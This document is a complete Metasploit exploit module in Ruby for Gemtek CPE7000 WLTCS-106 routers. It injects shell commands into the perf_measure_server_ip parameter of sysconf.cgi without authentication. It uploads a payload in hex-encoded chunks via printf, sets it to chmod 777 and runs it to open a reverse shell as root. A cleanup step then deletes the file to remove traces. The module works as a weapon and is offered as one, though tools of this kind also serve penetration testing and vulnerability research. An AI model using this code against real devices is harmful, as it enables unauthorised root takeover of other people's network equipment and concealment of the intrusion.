1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution', 'Description' => %q{ A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 exposing Iperf tool to unauthenticated users. Injecting a command in the perf_measure_server_ip parameter, an attacker can execute arbitrary commands. Since the service runs as root, the remote command execution has the same administrative privileges. The remote shell is obtained uploading the payload and executing it. A reverse shell is preferred rather then a bind one, since firewall won't allow (by default) incoming connections. Tested on Hardware version V02A and Firmware version 01.01.02.082. }, 'Author'=> [ 'Federico Scalco <fscalco [ at] mentat.is>' #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is> ], 'License' => MSF_LICENSE, 'References'=> [ [ 'EDB', '39716' ], [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ], [ 'URL' , 'http://www.gemtek.com.tw/' ] ], 'DisclosureDate' => 'Apr 07 2016', 'Privileged' => false, 'Platform' => %w{ linux }, 'Payload'=> { 'DisableNops' => true }, 'Targets'=> [ [ 'Linux arm Payload', { 'Arch' => ARCH_ARMLE, 'Platform' => 'linux' } ], ], 'DefaultTarget'=> 0, 'DefaultOptions' => { 'RPORT' => 443, 'SHELL' => '/bin/sh' } )) register_options( [ OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]), OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]), OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]), OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]), OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def request_resource(resname) begin res = send_request_cgi({ 'uri'=> resname, 'method' => 'GET', }) return res rescue ::Rex::ConnectionError vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server") return nil end end def cleanup print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...") begin clean_target(@upfile) rescue vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually") end return end def clean_target(resname) res = request_resource(resname) if res and res.code != 404 print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now") #remove cmd = '"; rm /www/' + resname +' &> /dev/null #' res = act(cmd, "deleting resource") if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)") end end end def set_conditions(buffer) res = send_request_cgi({ 'method' => 'GET', 'uri'=> '/cgi-bin/sysconf.cgi', 'encode_params' => true, 'vars_get' => { 'page' => 'ajax.asp', 'action' => 'save_iperf_value', 'perf_measure_server_ip' => buffer, 'perf_measure_server_port' => '5555', 'perf_measure_cpe_port' => '5554', 'perf_measure_test_time' => '60', 'perf_measure_protocol_type' => '1', 'perf_measure_packet_data_length' => '1024', 'perf_measure_bandwidth' => '19m', 'perf_measure_client_num' => '1' } }) if !res or res.code != 200 fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request") end return res end def toggle_once res = send_request_cgi({ 'method' => 'GET', 'uri'=> '/cgi-bin/sysconf.cgi', 'vars_get' => { 'page' => 'ajax.asp', 'action' => 'perf_measure_status_toggle' } }) if !res or res.code != 200 fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request") end if res.body == "1" @retoggled = false return true elsif !@retoggled #print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...") @retoggled = true toggle_once() else fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way") end end def act(buffer, step) set_conditions(buffer) res = toggle_once() return res end def exploit @retoggled = false; @cmd_delay = datastore['CMD_DELAY'] || 15 @chunk_size = datastore['CHUNK_SIZE'] || 50 @rhost = datastore['RHOST'] @rport = datastore['RPORT'] @upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8)) chunk_delay = datastore['CHUNKS_DELAY'] || 2 clean_target(@upfile) pl = payload.encoded_exe chunks = pl.scan(/.{1,#{@chunk_size}}/) hash = Hash[chunks.map.with_index.to_a] print_status("Total payload chunks: " + chunks.length.to_s ) print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})") for chk in chunks chind = hash[chk] safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join if chind == 0 s_redir = '>' else s_redir = '>>' end cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #' print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1))) res = act(cmd, "uploading shell") if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end select(nil, nil, nil, chunk_delay) end #chmod request cmd = '"; chmod 777 /www/' + @upfile + ' & #' print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}") res = act(cmd, "chmodding payload") if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload") end select(nil, nil, nil, @cmd_delay) #phone home cmd = '"; /www/' + @upfile + ' & #' print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}") res = act(cmd, "executing payload") if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end select(nil, nil, nil, @cmd_delay) end end |